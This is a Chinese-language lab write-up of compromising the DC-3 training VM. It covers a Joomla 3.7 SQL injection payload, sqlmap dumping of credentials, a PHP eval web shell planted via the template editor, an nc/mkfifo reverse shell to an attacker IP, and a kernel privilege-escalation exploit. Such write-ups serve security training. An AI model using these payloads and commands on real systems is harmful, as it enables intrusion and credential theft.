前言

蓝苟的黑盒测试之旅——DC3

信息搜集

二话不说,先扫波内网

arp-scan -l

接着nmap扫一下可以看到开放了80端口

nmap -sV -A 192.168.232.145

于是我们打开其网页看见其cms是joomla,并提示我们只有一个flag且需获取root权限

接着我们用dirb扫下目录

dirb http://192.168.15.139/

最后我们在 README.txt 目录下发现joomla是3.7的

漏洞攻击

通过以上信息,我们搜索一下joomla3.7漏洞发现存在sql注入

接着我们开始构造url

index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,user()),1)


可以看到确实是存在漏洞滴

sqlmap查询一下数据库

sqlmap -u "http://192.168.15.139/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,user()),1)" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

再查一下表

sqlmap -u "http://192.168.15.139/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,user()),1)" --risk=3 --level=5 --random-agent –D joomladb --tables -p list[fullordering]

然后再查一下列

sqlmap -u "http://192.168.15.139/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,user()),1)" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' --columns -p list[fullordering]

最后查询账号得到一串hash加密的密码

sqlmap -u "http://192.168.15.139/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,user()),1)" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' -C username,password --dump -p list[fullordering]

john解密得到密码为snoopy(不懂为啥我得不到&cmd5也查不到.jpg
接着我们百度joomla3.7的默认后台得知为 administrator ;成功登进后台

Web渗透

在Templates中发现可以修改php的文件,于是乎我们写个php的一句话木马上去

<?php
@eval($_POST['harvey']);
?>

通过蚁剑连接

写个反弹shell上传(蚁剑是非持续连接

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.15.140 2333 >/tmp/f

然后访问此网站开启监听

nc -lvvp 2333

然后我们使用searchsploit工具来查找Ubuntu 16.04的提权漏洞

searchsploit Ubuntu 16.04

查看该漏洞

cat /usr/share/exploitdb/exploits/linux/local/39772.txt

得到exp下载链接并下载,同时上传 exploit.tar 并解压运行

exp下载地址
Exploit-DB Mirror: https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
这里我是直接本地下载然后通过蚁剑上传
unzip 39772.zip
cd 39772
unzip 39772.zip
cd 39772
ls
tar xvf exploit.tar
ls
cd ebpf_mapfd_doubleput_exploit
ls
./compile.sh
./doubleput

不知道这里咋解决惹~蹲个大佬赐教.jpg

反正最后获取root权限后,在root目录下获取到flag